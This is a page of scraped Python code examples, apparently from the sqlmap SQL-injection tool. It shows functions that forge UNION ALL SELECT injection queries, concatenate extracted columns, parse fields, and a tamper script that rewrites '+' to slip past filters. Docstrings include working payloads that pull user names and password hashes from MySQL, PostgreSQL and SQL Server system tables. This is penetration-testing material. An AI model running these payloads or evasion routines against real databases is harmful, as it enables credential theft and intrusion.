        Microsoft SQL Server output:  UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254

        @param query: it is a processed query string unescaped to be
        forged within an UNION ALL SELECT statement
        @type query: C{str}

        @param position: it is the NULL position where it is possible
        to inject the query
        @type position: C{int}

        @return: UNION ALL SELECT query string forged
        @rtype: C{str}
        """

        if conf.uFrom:
            fromTable = " FROM %s" % conf.uFrom
        else:
            fromTable = fromTable or FROM_DUMMY_TABLE.get(
                Backend.getIdentifiedDbms(), "")

        if query.startswith("SELECT "):
            query = query[len("SELECT "):]

        unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)

        if limited:
            unionQuery += ','.join(char if _ != position else '(SELECT %s)' %
                                   query for _ in xrange(0, count))
            unionQuery += fromTable
            unionQuery = self.suffixQuery(unionQuery, comment, suffix)

            return unionQuery
        else:
            _ = zeroDepthSearch(query, " FROM ")
            if _:
                fromTable = query[_[0]:]

            if fromTable and query.endswith(fromTable):
                query = query[:-len(fromTable)]

        topNumRegex = re.search("\ATOP\s+([\d]+)\s+", query, re.I)
        if topNumRegex:
            topNum = topNumRegex.group(1)
            query = query[len("TOP %s " % topNum):]
            unionQuery += "TOP %s " % topNum

        intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query,
                               re.I)

        if intoRegExp:
            intoRegExp = intoRegExp.group(1)
            query = query[:query.index(intoRegExp)]

        for element in xrange(0, count):
            if element > 0:
                unionQuery += ','

            if element == position:
                unionQuery += query
            else:
                unionQuery += char

        if fromTable and not unionQuery.endswith(fromTable):
            unionQuery += fromTable

        if intoRegExp:
            unionQuery += intoRegExp

        if multipleUnions:
            unionQuery += " UNION ALL SELECT "

            for element in xrange(count):
                if element > 0:
                    unionQuery += ','

                if element == position:
                    unionQuery += multipleUnions
                else:
                    unionQuery += char

            if fromTable:
                unionQuery += fromTable

        unionQuery = self.suffixQuery(unionQuery, comment, suffix)

        return unionQuery
Ejemplo n.º 11
0
    def concatQuery(self, query, unpack=True):
        """
        Take in input a query string and return its processed nulled,
        casted and concatenated query string.

        Examples:

        MySQL input:  SELECT user, password FROM mysql.user
        MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user

        PostgreSQL input:  SELECT usename, passwd FROM pg_shadow
        PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow

        Oracle input:  SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
        Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'

        Microsoft SQL Server input:  SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
        Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins

        @param query: query string to be processed
        @type query: C{str}

        @return: query string nulled, casted and concatenated
        @rtype: C{str}
        """

        if unpack:
            concatenatedQuery = ""
            query = query.replace(", ", ',')
            fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(
                query)
            castedFields = self.nullCastConcatFields(fieldsToCastStr)
            concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
        else:
            return query

        if Backend.isDbms(DBMS.MYSQL):
            if fieldsExists:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
                concatenatedQuery += ",'%s')" % kb.chars.stop
            elif fieldsSelectCase:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
                concatenatedQuery += ",'%s')" % kb.chars.stop
            elif fieldsSelectFrom:
                _ = unArrayizeValue(
                    zeroDepthSearch(concatenatedQuery, " FROM "))
                concatenatedQuery = "%s,'%s')%s" % (
                    concatenatedQuery[:_].replace(
                        "SELECT ", "CONCAT('%s'," % kb.chars.start,
                        1), kb.chars.stop, concatenatedQuery[_:])
            elif fieldsSelect:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
                concatenatedQuery += ",'%s')" % kb.chars.stop
            elif fieldsNoSelect:
                concatenatedQuery = "CONCAT('%s',%s,'%s')" % (
                    kb.chars.start, concatenatedQuery, kb.chars.stop)

        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE,
                                             DBMS.SQLITE, DBMS.DB2,
                                             DBMS.FIREBIRD):
            if fieldsExists:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "'%s'||" % kb.chars.start, 1)
                concatenatedQuery += "||'%s'" % kb.chars.stop
            elif fieldsSelectCase:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "'%s'||(SELECT " % kb.chars.start, 1)
                concatenatedQuery += ")||'%s'" % kb.chars.stop
            elif fieldsSelectFrom:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "'%s'||" % kb.chars.start, 1)
                _ = unArrayizeValue(
                    zeroDepthSearch(concatenatedQuery, " FROM "))
                concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_],
                                                    kb.chars.stop,
                                                    concatenatedQuery[_:])
            elif fieldsSelect:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "'%s'||" % kb.chars.start, 1)
                concatenatedQuery += "||'%s'" % kb.chars.stop
            elif fieldsNoSelect:
                concatenatedQuery = "'%s'||%s||'%s'" % (
                    kb.chars.start, concatenatedQuery, kb.chars.stop)

        elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
            if fieldsExists:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "'%s'+" % kb.chars.start, 1)
                concatenatedQuery += "+'%s'" % kb.chars.stop
            elif fieldsSelectTop:
                topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+",
                                   concatenatedQuery, re.I).group(1)
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT TOP %s " % topNum,
                    "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
                concatenatedQuery = concatenatedQuery.replace(
                    " FROM ", "+'%s' FROM " % kb.chars.stop, 1)
            elif fieldsSelectCase:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "'%s'+" % kb.chars.start, 1)
                concatenatedQuery += "+'%s'" % kb.chars.stop
            elif fieldsSelectFrom:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "'%s'+" % kb.chars.start, 1)
                _ = unArrayizeValue(
                    zeroDepthSearch(concatenatedQuery, " FROM "))
                concatenatedQuery = "%s+'%s'%s" % (concatenatedQuery[:_],
                                                   kb.chars.stop,
                                                   concatenatedQuery[_:])
            elif fieldsSelect:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "'%s'+" % kb.chars.start, 1)
                concatenatedQuery += "+'%s'" % kb.chars.stop
            elif fieldsNoSelect:
                concatenatedQuery = "'%s'+%s+'%s'" % (
                    kb.chars.start, concatenatedQuery, kb.chars.stop)

        elif Backend.isDbms(DBMS.ACCESS):
            if fieldsExists:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "'%s'&" % kb.chars.start, 1)
                concatenatedQuery += "&'%s'" % kb.chars.stop
            elif fieldsSelectCase:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "'%s'&(SELECT " % kb.chars.start, 1)
                concatenatedQuery += ")&'%s'" % kb.chars.stop
            elif fieldsSelectFrom:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "'%s'&" % kb.chars.start, 1)
                _ = unArrayizeValue(
                    zeroDepthSearch(concatenatedQuery, " FROM "))
                concatenatedQuery = "%s&'%s'%s" % (concatenatedQuery[:_],
                                                   kb.chars.stop,
                                                   concatenatedQuery[_:])
            elif fieldsSelect:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "'%s'&" % kb.chars.start, 1)
                concatenatedQuery += "&'%s'" % kb.chars.stop
            elif fieldsNoSelect:
                concatenatedQuery = "'%s'&%s&'%s'" % (
                    kb.chars.start, concatenatedQuery, kb.chars.stop)

        else:
            warnMsg = "applying generic concatenation with double pipes ('||')"
            singleTimeWarnMessage(warnMsg)

            if fieldsExists:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "'%s'||" % kb.chars.start, 1)
                concatenatedQuery += "||'%s'" % kb.chars.stop
            elif fieldsSelectCase:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "'%s'||(SELECT " % kb.chars.start, 1)
                concatenatedQuery += ")||'%s'" % kb.chars.stop
            elif fieldsSelectFrom:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "'%s'||" % kb.chars.start, 1)
                _ = unArrayizeValue(
                    zeroDepthSearch(concatenatedQuery, " FROM "))
                concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_],
                                                    kb.chars.stop,
                                                    concatenatedQuery[_:])
            elif fieldsSelect:
                concatenatedQuery = concatenatedQuery.replace(
                    "SELECT ", "'%s'||" % kb.chars.start, 1)
                concatenatedQuery += "||'%s'" % kb.chars.stop
            elif fieldsNoSelect:
                concatenatedQuery = "'%s'||%s||'%s'" % (
                    kb.chars.start, concatenatedQuery, kb.chars.stop)

        return concatenatedQuery
Ejemplo n.º 12
0
    def getFields(self, query):
        """
        Take in input a query string and return its fields (columns) and
        more details.

        Example:

        Input:  SELECT user, password FROM mysql.user
        Output: user,password

        @param query: query to be processed
        @type query: C{str}

        @return: query fields (columns) and more details
        @rtype: C{str}
        """

        prefixRegex = r"(?:\s+(?:FIRST|SKIP)\s+\d+)*"
        fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM",
                                    query, re.I)
        fieldsSelectRownum = re.search(
            r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
        fieldsSelectDistinct = re.search(
            r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query,
            re.I)
        fieldsSelectCase = re.search(
            r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query,
            re.I)
        fieldsSelectFrom = re.search(
            r"\ASELECT%s\s+(.+?)\s+FROM " % prefixRegex, query, re.I)
        fieldsExists = re.search(r"EXISTS\(([^)]*)\)\Z", query, re.I)
        fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query,
                                 re.I)
        fieldsSubstr = re.search(r"\A(SUBSTR|MID\()", query, re.I)
        fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I)
        fieldsNoSelect = query

        _ = zeroDepthSearch(query, " FROM ")
        if not _:
            fieldsSelectFrom = None

        if fieldsSubstr:
            fieldsToCastStr = query
        elif fieldsMinMaxstr:
            fieldsToCastStr = fieldsMinMaxstr.groups()[0]
        elif fieldsExists:
            fieldsToCastStr = fieldsSelect.groups()[0]
        elif fieldsSelectTop:
            fieldsToCastStr = fieldsSelectTop.groups()[0]
        elif fieldsSelectRownum:
            fieldsToCastStr = fieldsSelectRownum.groups()[0]
        elif fieldsSelectDistinct:
            fieldsToCastStr = fieldsSelectDistinct.groups()[0]
        elif fieldsSelectCase:
            fieldsToCastStr = fieldsSelectCase.groups()[0]
        elif fieldsSelectFrom:
            fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query
            fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "",
                                     fieldsToCastStr)
        elif fieldsSelect:
            fieldsToCastStr = fieldsSelect.groups()[0]
        else:
            fieldsToCastStr = fieldsNoSelect

        # Function
        if re.search("\A\w+\(.*\)", fieldsToCastStr,
                     re.I) or (fieldsSelectCase
                               and "WHEN use" not in query) or fieldsSubstr:
            fieldsToCastList = [fieldsToCastStr]
        else:
            fieldsToCastList = splitFields(fieldsToCastStr)

        return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists
Ejemplo n.º 13
0
def tamper(payload, **kwargs):
    """
    Replaces plus ('+') character with ODBC function {fn CONCAT()}

    Tested against:
        * Microsoft SQL Server 2008

    Requirements:
        * Microsoft SQL Server 2008+

    Notes:
        * Useful in case ('+') character is filtered
        * https://msdn.microsoft.com/en-us/library/bb630290.aspx

    >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')
    'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL'

    >>> tamper('SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL')
    'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL'
    """

    retVal = payload

    if payload:
        while True:
            indexes = zeroDepthSearch(retVal, '+')

            if indexes:
                first, last = 0, 0
                for i in xrange(1, len(indexes)):
                    if ' ' in retVal[indexes[0]:indexes[i]]:
                        break
                    else:
                        last = i

                start = retVal[:indexes[first]].rfind(' ') + 1
                end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1

                count = 0
                chars = [char for char in retVal]
                for index in indexes[first:last + 1]:
                    if count == 0:
                        chars[index] = ','
                    else:
                        chars[index] = '\x01'
                    count += 1

                retVal = "%s%s%s)}%s" % (retVal[:start], "{fn CONCAT(" * count, ''.join(chars)[start:end].replace('\x01', ")},"), retVal[end:])
            else:
                match = re.search(r"\((CHAR\(\d+.+CHAR\(\d+\))\)", retVal)
                if match:
                    part = match.group(0)
                    indexes = set(zeroDepthSearch(match.group(1), '+'))
                    if not indexes:
                        break

                    count = 0
                    chars = [char for char in part]
                    for i in xrange(1, len(chars)):
                        if i - 1 in indexes:
                            if count == 0:
                                chars[i] = ','
                            else:
                                chars[i] = '\x01'
                            count += 1

                    replacement = "%s%s}" % (("{fn CONCAT(" * count)[:-1], "".join(chars).replace('\x01', ")},"))
                    retVal = retVal.replace(part, replacement)
                else:
                    break

    return retVal